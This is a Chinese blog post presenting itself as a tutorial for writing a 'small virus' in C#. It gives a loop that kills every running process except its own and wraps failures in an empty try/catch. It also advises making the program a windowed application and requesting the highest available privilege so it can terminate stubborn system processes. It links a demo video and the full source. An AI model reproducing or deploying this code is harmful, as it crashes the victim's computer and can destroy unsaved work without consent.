標籤:ted ref 關閉 alt 工作 pre http class 應用
眾所周知,Process可以啟動和關閉電腦上的進程,命名空間位於 System.Diagnostics,本次的教程就是利用其中的GetProcesses和Kill方法來實現的。
一、編碼工作
首先我們建立一隻Console項目(只要是C#的都可以)
為了讓這篇部落格短一點,我把代碼精簡了下
接下來我們需要用到foreach來一個個迴圈出電腦裡的進程.
foreach (var p in Process.GetProcesses())
為了避免中途把自己殺掉,則需要跳過自己,使用其ProcessName屬性則可以(SystemKill可以自行更改)
if (p.ProcessName != "SystemKill")
有些進程殺不掉所以需要給他套上一個try catch後再使用Kill方法,像這樣
foreach (var p in Process.GetProcesses()){ try{ if (p.ProcessName != "SystemKill") p.Kill(); }catch { } }
這樣會顯示出一個小方框,我們可以把項目類型改為Windows視窗應用
還有一些頑固的系統進程殺不掉,這裡就需要用到最高許可權了(highestAvailable)
已變更位元於app.manifest檔案下的requestedExecutionLevel項
若沒有此檔案可到項目屬性裡>安全性>啟用ClickOnce,等待出現該檔案後再關閉掉ClickOnce.
二、編譯測試
視頻:https://gitee.com/TwilightLemon/Updata/raw/master/cc.mp4
心疼電腦1毫秒
最後,附上原始碼一隻https://github.com/TwilightLemon/SystemKill
希望大家多多關注我哦!
"HK"日常之用C# Process寫一隻小病毒